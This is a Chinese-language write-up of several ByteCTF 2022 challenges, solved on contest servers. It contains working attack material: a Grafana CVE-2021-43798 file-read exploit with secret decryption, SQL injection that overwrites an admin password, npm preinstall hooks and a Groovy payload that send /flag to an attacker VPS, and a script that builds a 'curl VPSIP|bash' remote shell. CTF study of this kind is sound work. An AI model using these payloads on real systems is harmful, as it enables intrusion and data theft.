3

CTF | 2022 ByteCTF WriteUp

 1 year ago
source link: https://miaotony.xyz/2022/09/30/CTF_2022ByteCTF/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
image-20220926171955776.png

2022 Byte Capture The Flag / ByteCTF

安全范儿高校挑战赛

比赛时间:9月24日10:00—9月25日18:00

https://ctf.bytedance.com/

上周末字节跳动办了个 ByteCTF,今年没有线下决赛,只有线上这一场比赛了。

那周末在集中健康监测,喵喵正好有点时间,就来打了打这比赛。

不过感觉可能队里师傅不一定有空,貌似看题的师傅不大多,唔。

喵喵太菜,这里只能来随便记录点简单题的 writeup 了。

signin

由于喵喵报名晚了,队友早就报完了,于是咱就自己组了个队来混签到抽奖了,喵呜喵呜喵~

直接来到 /final,抓包,team_id 在团队页面有个请求里返回了 id

16641815550964.png

然而并没有抽到奖,呜呜

easy_groovy

过滤了一些关键词,包括 exec execute run start invoke …

折腾了老半天,最后寻思着没必要 RCE 啊,整个外带就好了

只需要调 groovy 语言自带的函数,先读 /flag 文件,然后开个 HTTP 请求传出来,自己 vps 接一下 flag 就完事了

payload:

Groovy
File flag = new File("/flag").text
def res1 = new URL("http://vpsip:port/${flag}").text
16641815594807.png

See also:

从Jenkins RCE看Groovy代码注入

Groovy Script — Remote Code Execution

(看了官方 wp 才知道是非预期了,原来预期得构造恶意文件,然后远程下载文件到本地并触发 RCE。。

好复杂.jpg

find_it

小明的开发电脑被黑客入侵了,并加密了上面的秘密文件,find it。

是个 .scap 系统抓包文件(?

参考 Premium Lab: HIDS Log Analysis — Sysdig: Malware I

如何使用Sysdig监视您的Ubuntu 16.04系统

发现传了个一句话木马,蚁剑连上去的流量,输入了串 openssl 命令到 bash 脚本,然后执行

openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt;

输出的内容在文件里可以拿到

166418156506310.png

于是导出来到文件 1.txt,拿 openssl 解密一下

openssl enc -aes-128-ecb -in 1.txt -a -d -pass pass:"KFC Crazy Thursday V me 50" -nosalt > 2.png
2.png

得到一张二维码图片,扫码得到第一部分 flag

bytectf{53f8fb16-a25d-4aac-

找了半天没找到第二部分 flag 在哪,最后 strings 发现是在个 php 文件名。。

strings find_it-2e157327-a739-42a9-b857-5a50bdf6e3d9.scap | grep '}'
166418156908613.png
bytectf{53f8fb16-a25d-4aac-bec5-d7563b2672b6}

其实 scap 抓包文件里也有打开 nothing.png 的 syscall,所以其实也能直接搜 png 文件头然后读出来这个图片哈哈哈

BTW,用 mac 的队友说他 openssl 跑不出来,最后改用 kali 就出了,笑死了

官方 writeup 说是 mac和Linux可能openssl版本差异导致默认摘要函数不同

survey

https://wenjuan.feishu.cn/m?t=sic52NjA14Fi-fi7w

ByteCTF{Congratulations_on_your_good_results!}

easy_grafana

You must have seen it, so you can hack it

一看 grafana 就想到经典的 CVE-2021-43798

Plaintext
/public/plugins/text/../../../../../../../../../etc/passwd

参考 Grafana 文件读取漏洞分析与汇总(CVE-2021-43798)

CVE-2021-43798 Grafana任意文件读取复现

需要加个 # 绕过 Nginx 400,读配置文件

GET /public/plugins/text/#/../../../../../../../../../etc/grafana/grafana.ini HTTP/1.1
Host: e01195c95f7b49d209b62dcc8984bd4d.2022.capturetheflag.fun
Cookie: redirect_to=%2F
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
166418157337416.png

得到 secret_key,然后再去读数据库 grafana.db

secret_key = SW2YcwTIb9zpO1hoPsMm
GET /public/plugins/text/#/../../../../../../../../../var/lib/grafana/grafana.db
166418157601719.png

然后再找个脚本解密一下

https://github.com/pedrohavay/exploit-grafana-CVE-2021-43798

GitHub - jas502n/Grafana-CVE-2021-43798: Grafana Unauthorized arbitrary file reading vulnerability

从数据库里拿到密码,然后用这个脚本去解密

SELECT secure_json_data FROM data_source;
{"password":"b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/"}

改一下最后这里

166418180692622.png
# go get golang.org/x/crypto/pbkdf2
# go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpO1hoPsMm
[*] DataSourcePassword= b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3kzZy9SQnuVy9c3lVkvbyJcqRwNT6/
[*] plainText= ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb}

ctf_cloud

改编自真实漏洞环境。在云计算日益发达的今天,许多云平台依靠其基础架构为用户提供云上开发功能,允许用户构建自己的应用,但这同样存在风险。

给了源码,可疑的地方不多,也就 sql 注入、文件上传、命令执行

/src/routes/users.js

javascript
var express = require('express');
var router = express.Router();
var sqlite3 = require('sqlite3').verbose();
var stringRandom = require('string-random');
var db = new sqlite3.Database('db/users.db');
var passwordCheck = require('../utils/user');

/* login */
router.post('/signin', function(req, res, next) {
    var username = req.body.username;
    var password = req.body.password;

    if (username == '' || password == '')
        return res.json({"code" : -1 , "message" : "Please input username and password."});

    if (!passwordCheck(password))
        return res.json({"code" : -1 , "message" : "Password is not valid."});

    db.get("SELECT * FROM users WHERE NAME = ? AND PASSWORD = ?", [username, password], function(err, row) {
        if (err) {
            console.log(err);
            return res.json({"code" : -1, "message" : "Error executing SQL query"});
        }
        if (!row) {
            return res.json({"code" : -1 , "msg" : "Username or password is incorrect"});
        }
        req.session.is_login = 1;
        if (row.NAME === "admin" && row.PASSWORD == password && row.ACTIVE == 1) {
            req.session.is_admin = 1;
        }
        return res.json({"code" : 0, "message" : "Login successful"});
    });

});

/* register */
router.post('/signup', function(req, res, next) {
    var username = req.body.username;
    var password = req.body.password;

    if (username == '' || password == '')
        return res.json({"code" : -1 , "message" : "Please input username and password."});

    // check if username exists
    db.get("SELECT * FROM users WHERE NAME = ?", [username], function(err, row) {
        if (err) {
            console.log(err);
            return res.json({"code" : -1, "message" : "Error executing SQL query"});
        }
        if (row) {
            console.log(row)
            return res.json({"code" : -1 , "message" : "Username already exists"});
        } else {
            // in case of sql injection , I'll reset admin's password to a new random string every time.
            var randomPassword = stringRandom(100);
            db.run(`UPDATE users SET PASSWORD = '${randomPassword}' WHERE NAME = 'admin'`, ()=>{});

            // insert new user
            var sql = `INSERT INTO users (NAME, PASSWORD, ACTIVE) VALUES (?, '${password}', 0)`;
            db.run(sql, [username], function(err) {
                if (err) {
                    console.log(err);
                    return res.json({"code" : -1, "message" : "Error executing SQL query " + sql});
                }
                return res.json({"code" : 0, "message" : "Sign up successful"});
            });
        }
    });
});

/* logout */
router.get('/logout', function(req, res) {
    req.session.is_login = 0;
    req.session.is_admin = 0;
    res.redirect('/');
});

module.exports = router;

主要是59行这里把用户输入的 password 直接拼接到了 sql 语句中

image-20220926170459211.png

于是存在 sql 注入,可以通过 Insert 注入覆盖掉 admin 的密码

这里的 sql 还说 VALUES,于是可以插入多条数据喵

POST /users/signup HTTP/1.1
Host: deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3A5CNkjDPjekXWaapndSgpEk3SvGDq3k0t.RlV2YIlmL1VXAvsuCjTb1DA8zdtnFxT7Ij0%2F7AOlmHA
Content-Length: 65
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://deb59b960385bf669c5ee5ea65eb312f.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"username": "miao","password":"',0),('admin','123456',1)-- a"}
166418184121425.png

然后 admin / 123456 登录

166418184990328.png

再看 /src/routes/dashboard.js 源码

javascript
var express = require('express');
var router = express.Router();
var multer  = require('multer');
var path = require('path');
var fs = require('fs');
var cp = require('child_process');
var dependenciesCheck = require('../utils/dashboard');
var upload = multer({dest: '/tmp/'});

var appPath = path.join(__dirname, '../public/app');
var appBackupPath = path.join(__dirname, '../public/app_backup');

/* authentication middleware */
router.use(function(req, res, next) {
    if (!req.session.is_login)
      return res.json({"code" : -1 , "message" : "Please login first."});
   next();
});

/* upload api */
router.post('/upload', upload.any(),function(req, res, next) {
    if (!req.files) {
        return res.json({"code" : -1 , "message" : "Please upload a file."});
    }
    var file = req.files[0];

    // check file name
    if (file.originalname.indexOf('..') !== -1 || file.originalname.indexOf('/') !== -1) {
        return res.json({"code" : -1 , "message" : "File name is not valid."});
    }

    // do upload
    var filePath = path.join(appPath, '/public/uploads/', file.originalname);
    var fileContent = fs.readFileSync(file.path);
    fs.writeFile(filePath, fileContent, function(err) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error writing file."});
        } else {
            res.json({"code" : 0 , "message" : "Upload successful at " + filePath});
        }
    })
});

/* list upload dir */
router.get('/list', function(req, res, next) {
    var files = fs.readdirSync(path.join(appPath, '/public/uploads/'));
    res.json({"code" : 0 , "message" : files});
})

/* reset user app */
router.post('/reset', function(req, res, next) {
    // reset app folder
    cp.exec('rm -rf ' + appPath + '/*', function(err, stdout, stderr) {
       if (err) {
           console.log(err);
           return res.json({"code" : -1 , "message" : "Error resetting app."});
       } else {
           cp.exec('cp -r ' + appBackupPath + '/* ' + appPath + '/', function(err, stdout, stderr) {
               if (err) {
                   console.log(err);
                   return res.json({"code" : -1 , "message" : "Error resetting app."});
               } else {
                   return res.json({"code" : 0 , "message" : "Reset successful"});
               }
           });
       }
    });
})

/* dependencies get router */
router.get('/dependencies', function(req, res, next) {
   res.json({"code" : 0 , "message" : "Please post me your dependencies."});
});

/* set node.js dependencies */
router.post('/dependencies', function(req, res, next) {
    var dependencies = req.body.dependencies;

    // check dependencies
    if (typeof dependencies != 'object' || dependencies === {})
        return res.json({"code" : -1 , "message" : "Please input dependencies."});
    if (!dependenciesCheck(dependencies))
        return res.json({"code" : -1 , "message" : "Dependencies are not valid."});

    // write dependencies to package.json
    var filePath = path.join(appPath, '/package.json');
    var packageJson = {
        "name": "userapp",
        "version": "0.0.1",
        "dependencies": {
        }
    };
    packageJson.dependencies = dependencies;
    var fileContent = JSON.stringify(packageJson);
    fs.writeFile(filePath, fileContent, function(err) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error writing file."});
        } else {
            return res.json({"code" : 0 , "message" : "Set successful"});
        }
    });
});


/* run npm install */
router.post('/run', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    cp.exec('cd ' + appPath + ' && npm i --registry=https://registry.npm.taobao.org', function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error running npm install."});
        }
        return res.json({"code" : 0 , "message" : "Run npm install successful"});
    });
});

/* force kill npm install */
router.post('/kill', function(req, res, next) {
    if (!req.session.is_admin)
        return res.json({"code" : -1 , "message" : "Please login as admin."});
    // kill npm process
    cp.exec("ps -ef | grep npm | grep -v grep | awk '{print $2}' | xargs kll -9", function(err, stdout, stderr) {
        if (err) {
            return res.json({"code" : -1 , "message" : "Error killing npm install."});
        }
        return res.json({"code" : 0 , "message" : "Kill npm install successful"});
    });
}
);


module.exports = router;

可以上传文件,指定依赖,安装依赖

参考 npm 文档,https://docs.npmjs.com/cli/v8/using-npm/scripts

我们可以构造个 preinstall,让其在安装依赖的流程中执行自己的命令

166418185661431.png
166418186016734.png

先构造一个依赖,payload 如下:

{
    "name": "miaoapp",
    "version": "0.0.1",
    "dependencies": {
    },
    "scripts":{
        "preinstall": "curl \"http://vpsip:port/?1=`cat /flag|base64 -w 0`\""
    }
}

注意文件名需要是 package.json

手动改下表单上传 payload

166418193417739.png

改成 <form action="/dashboard/upload" method="post" enctype='multipart/form-data'>

(你们手糊的前端,上传都不改请求 content-type 的是吧哈哈哈哈

16641815492091.png
{"code":0,"message":"Upload successful at /usr/local/app/public/app/public/uploads/package.json"}

当然也可以 POST flag 文件到自己的 vps,顺便留个 payload 在这

POST /dashboard/upload HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 457
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryJdqpFuVvACB98QB4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryJdqpFuVvACB98QB4
Content-Disposition: form-data; name="file"; filename="package.json"
Content-Type: application/json

{
 "name": "miaoapp",
 "version": "0.0.1",
 "dependencies": {
 },
 "scripts":{
     "preinstall": "curl -F \"c=@/flag\" http://vpsip:port/"
 }
}

------WebKitFormBoundaryJdqpFuVvACB98QB4--

要是不出网的话,可以重定向输出到 public 目录下,比如执行下面这样的命令

cat /flag > /usr/local/app/public/flag
cp /flag /usr/local/app/public/flag

成功上传,然后指定 dependencies

(这回你们前端直接不糊了是吧

POST /dashboard/dependencies HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 80
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"dependencies":{ "miaoapp":"file:///usr/local/app/public/app/public/uploads/"}}

最后运行安装依赖 run npm install

POST /dashboard/run HTTP/1.1
Host: d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Cookie: __t_id=118324065f8ed1f677107210caf77359; connect.sid=s%3AxkWm2EDsqin7fbj1TThzWq_8nM7TOoSB.QBVLyXOcPfU1f9Mockad5jEWvbb%2BViA949VWZW9eg%2FU
Content-Length: 0
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Content-Type: application/json
Accept: */*
Origin: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://d2fcf246bc37a9f5fb0e10d0f33f6703.2022.capturetheflag.fun/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

vps 上成功接收到 flag

166418194298542.png

还有一种思路,供应链投毒,整个恶意的依赖传到 GitHub 或者 npm 仓库,在安装的时候执行自己的命令,应该也能打通

指定依赖的时候还可以 git+https 这样

typing_game

我是练习时长两年半的nodejs菜鸟,欢迎来玩我写的小游戏

前端是个听单词打字的游戏

给了后端源码 index.js

javascript
var express = require('express'); 
var child_process = require('child_process');
const ip = require("ip");
const puppeteer = require("puppeteer");
var app = express(); 
var PORT = process.env.PORT| 13002; 
var HOST = process.env.HOST| "127.0.0.1"
const ipsList = new Map();
const now = ()=>Math.floor(Date.now() / 1000);
app.set('view engine', 'ejs'); 
app.use(express.static('public'))

app.get("/",function(req,res,next){
    var {color,name}= req.query
    res.render("index",{color:color,name:name})
})


app.get("/status",function(req,res,next){
    var  cmd= req.query.cmd? req.query.cmd:"ps"
	var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
	console.log(rip)
    if (cmd.length > 4 || !ip.isPrivate(rip)) return res.send("hacker!!!")
    const result = child_process.spawnSync(cmd,{shell:true});
	out = result.stdout.toString();
	res.send(out)
})

app.get('/report', async function(req, res){
	const url = req.query.url;
	var rip = req.header('X-Real-IP')?req.header('X-Real-IP'):req.ip
	if(ipsList.has(rip) && ipsList.get(rip)+30 > now()){
		return res.send(`Please comeback ${ipsList.get(rip)+30-now()}s later!`);
	}
	ipsList.set(rip,now());
	const browser = await puppeteer.launch({headless: true,executablePath: '/usr/bin/google-chrome',args: ['--no-sandbox', '--disable-gpu','--ignore-certificate-errors','--ignore-certificate-errors-spki-list']});
	const page = await browser.newPage();
	try{
		await page.goto(url,{
	  		timeout: 10000
		});
		await new Promise(resolve => setTimeout(resolve, 10e3));
	} catch(e){}
	await page.close();
	await browser.close();
	res.send("OK");
});

app.get("/ping",function(req,res,next){
    res.send("pong")
})


app.listen(PORT,HOST, function(err){ 
    if (err) console.log(err); 
    console.log(`Server listening on ${HOST}:${PORT}`); 
});

四字符命令注入的打法

/status 接口有个4字符的命令注入,/report 接口可以 CSRF/SSRF 打本地

参考以前喵喵写的那篇 CTF | 限制长度下的命令执行 技巧汇总,正好有四字节命令执行的参考 exp

但是这里文件夹不是空的,需要首先执行 rm * 删除目录下的文件

这可能会影响前端的静态文件加载不出来,但后端程序已经加载到内存中了,因此不受影响

https://xxxxxxxxx.2022.capturetheflag.fun/report?url=http%3A%2F%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3Drm%20%2A

然后改一改 exp,这里他有个 30s 的请求频率限制,那就 sleep 等等呗。

python
# encoding:utf-8
import re
import time
import requests
from urllib.parse import quote

baseurl = "https://xxxxxxxxxx.2022.capturetheflag.fun/report?url=http%3A%2F%2F127%2E0%2E0%2E1%3A13002%2Fstatus%3Fcmd%3D"

s = requests.session()

# 将ls -t 写入文件_
# list1 = [
#     ">ls\\",
#     "ls>_",
#     ">\ \\",
#     ">-t\\",
#     ">\>y",
#     "ls>>_"
# ]

# 文件 x 内容为 ls -th > g
list1 = [
    ">sl",
    ">ht-",
    ">g\>",
    ">dir",
    "*>v",
    ">rev",
    "*v>x"
]

# curl VPSIP:PORT|bash
list2 = [
    ">bash",
    ">\|\\",
    ">11\\",
    ">11\\",
    ">1:\\",
    ">11\\",
    ">1.\\",
    ">11\\",
    ">11.\\",
    ">11.\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]


def send_request(url):
    while True:
        r = s.get(url)
        r.encoding = 'utf-8'
        print('==>', r.text)
        if 'Please comeback' in r.text:
            t = re.search(r"(\d+)s", r.text)[1]
            print(t)
            time.sleep(int(t) + 0.3)
        else:
            break


for i in list1:
    url = baseurl + quote(str(i))
    print("sending", quote(i))
    send_request(url)

for j in list2:
    url = baseurl + quote(str(j))
    print("sending", quote(j))
    send_request(url)

print('sh x')
send_request(baseurl + quote("sh x"))

print('sh g')
send_request(baseurl + quote("sh g"))

vps 上开个端口监听,慢慢等他请求发完,然后接收到 shell 后执行 env,就能在环境变量里找到 flag

(很明显是非预期,居然没把环境变量清除,哈哈哈

XSS 的打法

前端 game.js

javascript
const word = document.getElementById('word');
const text = document.getElementById('text');
const scoreEl = document.getElementById('score');
const timeEl = document.getElementById('time');
const endgameEl = document.getElementById('end-game-container');
// List of words for game
const words = [
    'web',
    'bytedance',
    'ctf',
    'sing',
    'jump',
    'rap',
    'basketball',
    'hello',
    'world',
    'fighting',
    'flag',
    'game',
    'happy'
].sort(function() {
    return .5 - Math.random();
});
let words_l = 0
let randomWord;
let score = 0;
let time = 26;
text.focus();
const timeInterval = setInterval(updateTime, 1000);
function addWordToDOM() {
    randomWord = words[words_l];
    words_l++
    word.setAttribute("src",randomWord+".mp3")
    word.innerHTML = randomWord;
}

function updateScore() {
    score++;
    scoreEl.innerHTML = score;
}
function updateTime() {
    time--;
    timeEl.innerHTML = time + 's';
    if (time === 0 || score >=words.length ) {
        clearInterval(timeInterval);
        word.parentElement.removeChild(word)
        gameOver();
    }
}
function gameOver() {
    if (score >= words.length) {
        const params = new URLSearchParams(window.location.search)
        const username = params.get('name');
        endgameEl.innerHTML = `
    <h1>^_^</h1>
    Dear ${username},Congratulations on your success.Your final score is ${score}`;
    endgameEl.style.display = 'flex';
    } else {
        score=0
        endgameEl.innerHTML = `
    <h1>*_*</h1>
    Try again`;
    endgameEl.style.display = 'flex';
    }

}

addWordToDOM();
// Typing
function typing(insertedText){
    if (insertedText === randomWord) {
        addWordToDOM();
        updateScore();
        document.querySelector("#text").value = '';
        updateTime();
    }
}

text.addEventListener('input', e => {
    typing(e.target.value)
});
addEventListener("hashchange",e=>{
    typing(location.hash.replace("#","").split("?")[0])
})

gameOver 里修改了 endgameEl.innerHTML,这里的 username 可以 XSS

但是需要先打完游戏才行,在上面的前端 js 中 addWordToDOM 函数里可以发现把音频设置成了单词名称所对应的,而 CSS 里可以注入 color 来 leak 当前的单词,js 里监听了 hashchange 事件,于是可以通过修改 url 里的 # 后面的部分来实现调用 typing 函数输入。

这里他服务器都上了 https,因此 vps 上打远程的话也要自己整个 ssl 证书,而且跨域设置好,比如 flask

python
@app.after_request
def after_request(response):
    response.headers.add('Access-Control-Allow-Origin', '*')
    response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
    response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE,OPTIONS')
    return response
python
@app.route('/')
@cross_origin(origins="*")
def index():
    return "meow"

然而咱这里没来得及复现,喵呜

可以参考下 W&M 这题的 writeup

他们这里还用到了个延迟加载的 deelay.me 这玩意,可以在 XSS 的时候搭配一张慢加载的图片来卡住页面渲染,同时在此期间让 js 执行一些耗时的操作,不至于页面渲染完成后直接退出

markup
<body>
prevent page recycle
<img src="https://deelay.me/50000/https://picsum.photos/200/300"/>
</body>

Delay proxy for http resources

Slow loading resources (images, scripts, etc) can break your application.
With this proxy you can simulate unexpected network conditions when loading a specific resource.

Usage:
https://deelay.me/<delay in milliseconds>/<original url>
eg. https://deelay.me/5000/https://picsum.photos/200/300

https://deelay.me/
https://github.com/biesiad/deelay

ByteCTF 的题目质量还是可以的,可是喵喵好菜啊,呜呜

就先这样吧,最近感觉没那么多时间也没那么大兴致打比赛了,唔

最后,国庆快乐喵~

官方 Writeup 出来了:

https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh

挺详细的,感人

溜了溜了喵(


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK